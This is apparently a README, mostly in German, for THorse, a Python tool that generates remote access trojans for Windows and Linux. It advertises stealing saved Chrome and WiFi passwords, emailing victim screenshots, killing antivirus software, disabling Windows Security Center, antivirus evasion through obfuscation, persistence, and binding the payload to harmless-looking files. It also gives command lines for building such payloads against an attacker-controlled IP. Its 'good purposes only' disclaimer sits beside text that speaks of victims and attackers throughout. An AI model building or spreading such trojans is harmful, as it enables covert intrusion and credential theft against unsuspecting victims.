THorse

THorse ist ein RAT (Remote Administrator Trojan)-Generator für Windows/Linux-Systeme, geschrieben in Python 3.

                    Dieses kleine Python-Skript kann wirklich großartige Arbeit leisten.

Haftungsausschluss

:computer: Dieses Projekt wurde nur für gute Zwecke und den persönlichen Gebrauch erstellt.

DIESE SOFTWARE WIRD OHNE JEGLICHE GEWÄHRLEISTUNG BEREITGESTELLT. SIE NUTZEN DIESE SOFTWARE AUF EIGENES RISIKO. DIE NUTZUNG LIEGT IN DER ALLEINIGEN VERANTWORTUNG DES ENDBENUTZERS. DIE ENTWICKLER ÜBERNEHMEN KEINE HAFTUNG UND SIND NICHT VERANTWORTLICH FÜR MISSBRAUCH ODER SCHÄDEN, DIE DURCH DIESES PROGRAMM VERURSACHT WERDEN.

Funktionen

• Funktioniert unter Windows/Linux
• Benachrichtigt über neues Opfer per E-Mail
• Unentdeckbar
• Erfordert keine Root- oder Administratorrechte
• Persistenz
• Sendet Screenshot des Opferbildschirms per E-Mail
• Gewährt dem Angreifer vollen Meterpreter-Zugriff
• Erfordert nicht einmal die Installation von Metasploit zur Trojaner-Erstellung
• Erstellt ausführbare Binärdatei ohne Abhängigkeiten
• Erstellt kleinere Payloads (~5 MB) mit erweiterter Funktionalität
• Verschleiert die Payload vor dem Kompilieren, um zusätzliche Antivirenprogramme zu umgehen
• Generierte Payload ist mit Base64 kodiert, was das Reverse Engineering extrem erschwert
• Tötet Antivirensoftware auf dem Opfer-PC und versucht, das Windows-Sicherheitscenter zu deaktivieren
• Großartige farbenfrohe Oberfläche zur Payload-Erstellung
• Auf Angreiferseite: Beim Erstellen der Payload erkennt das Skript automatisch fehlende Abhängigkeiten und installiert sie
• Kann benutzerdefiniertes Icon zur schädlichen Datei hinzufügen
• Eingebauter Binder, der ausführbare Dateien an beliebige Dateien [.pdf, .txt, .exe usw.] binden kann, wobei die legitime Datei im Vordergrund läuft und der schädliche Code als Dienst im Hintergrund.
• Prüft auf bereits laufende Instanz auf dem System; falls eine solche gefunden wird, wird nur die legitime Datei ausgeführt [Mehrfachinstanz-Verhinderer].
• Angreifer kann mit einem Linux-System sowohl für Windows als auch Linux erstellen/kompilieren, aber mit einem Windows-Rechner nur ausführbare Dateien für Windows.
• Ruft gespeicherte Passwörter vom Opfersystem ab und sendet sie an den Angreifer.

Unterstützte Abrufe, versucht gespeicherte Passwörter abzurufen von:
Chrome Browser
WiFi

Hinweis: Benutzerdefinierter Stealer ist programmiert, basiert nicht auf LaZagne

Getestet auf

Kali Linux - ROLLING EDITION

Windows 10

Windows 8.1 - Pro

Windows 7 - Ultimate

Im Folgenden sind die Einschränkungen der mit Metasploit generierten Meterpreter-Payload aufgeführt:-

• Der Metasploit-Listener muss vor der Ausführung der Hintertür gestartet werden
• Die Hintertür wird nicht persistent; wir müssen die Post-Exploitation-Module verwenden, um die Hintertür persistent zu machen. Und Post-Exploitation-Module können erst nach erfolgreicher Ausnutzung verwendet werden.
• Benachrichtigt uns nicht, wenn die Payload auf einem neuen System ausgeführt wird.

Wir alle wissen, wie leistungsfähig die Meterpreter-Payload ist, aber die daraus erstellte Payload ist dennoch nicht zufriedenstellend.

Im Folgenden sind die Funktionen dieses Payload-Generators aufgeführt, die Ihnen eine gute Vorstellung von diesem Python-Skript geben:-

• Verwendet die Windows-Registrierung, um unter Windows persistent zu werden.
• Wird auch unter Linux persistent.
• Die Payload kann sowohl unter LINUX als auch unter WINDOWS ausgeführt werden.
• Bietet vollen Zugriff, da der Metasploit-Listener verwendet werden kann und auch ein benutzerdefinierter Listener unterstützt wird (Sie können Ihren eigenen Listener erstellen)
• Sendet eine E-Mail-Benachrichtigung, wenn die Payload auf einem neuen System ausgeführt wird, mit vollständigen Systeminformationen.
• Generiert die Payload innerhalb von 1 Minute oder noch weniger.
• Unterstützt alle Meterpreter-Post-Exploitation-Module.
• Die Payload kann sowohl auf Windows- als auch auf Linux-Systemen erstellt werden.

Voraussetzung

• Python 3.X
• Einige externe Module

Bitte beachten:

Unter Windows geben Sie bitte den Pyinstaller-Pfad in paygen.py an [Zeile 14]

Der Standardpfad ist: PYTHON_PYINSTALLER_PATH = os.path.expanduser("C:/Python37-32/Scripts/pyinstaller.exe")

Ändern Sie es entsprechend Ihrem System

Verwendung unter Linux

# Install dependencies 
$ Install latest python 3.x

# Navigate to the /opt directory (optional)
$ cd /opt/

# Clone this repository
$ git clone https://github.com/PushpenderIndia/thorse.git

# Go into the repository
$ cd thorse

# Installing dependencies
$ bash installer_linux.sh

# If you are getting any errors while executing installer_linux.sh, try to install using installer_linux.py
$ python3 installer_linux.py

$ chmod +x paygen.py
$ python3 paygen.py --help

# Making Payload/RAT
$ python3 paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path

# Making Payload/RAT with Custom AVKiller [By Default, Tons of Know AntiVirus is added in Kill_Targets]
$ python3 paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path --kill_av AntiVirus.exe

# Making Payload/RAT with Custom Time to become persistence
$ python3 paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path --persistence 10 

Note: You can also use our custom icons from the icon folder, just use them like this  --icon icon/pdf.ico

Verwendung auf einem VPS (empfohlen)

# 1. Setup a VPS, You can buy Ubuntu VPS from any VPS Provider such as Digital Ocean, Linode, AWS, etc

# 2. Connect to your VPS Using SSH
$ ssh username@ip_address

# 3. Update Your Linux VPS
$ sudo apt update

# 4. Add Kali Linux Repository
$ sudo sh -c "echo 'deb https://http.kali.org/kali kali-rolling main non-free contrib' > /etc/apt/sources.list.d/kali.list"

# 5. Install gnupg package
$ sudo apt install gnupg

# 6. Add Kali Public Keys
$ wget 'https://archive.kali.org/archive-key.asc' && sudo apt-key add archive-key.asc

# 7. Update VPS
$ sudo apt update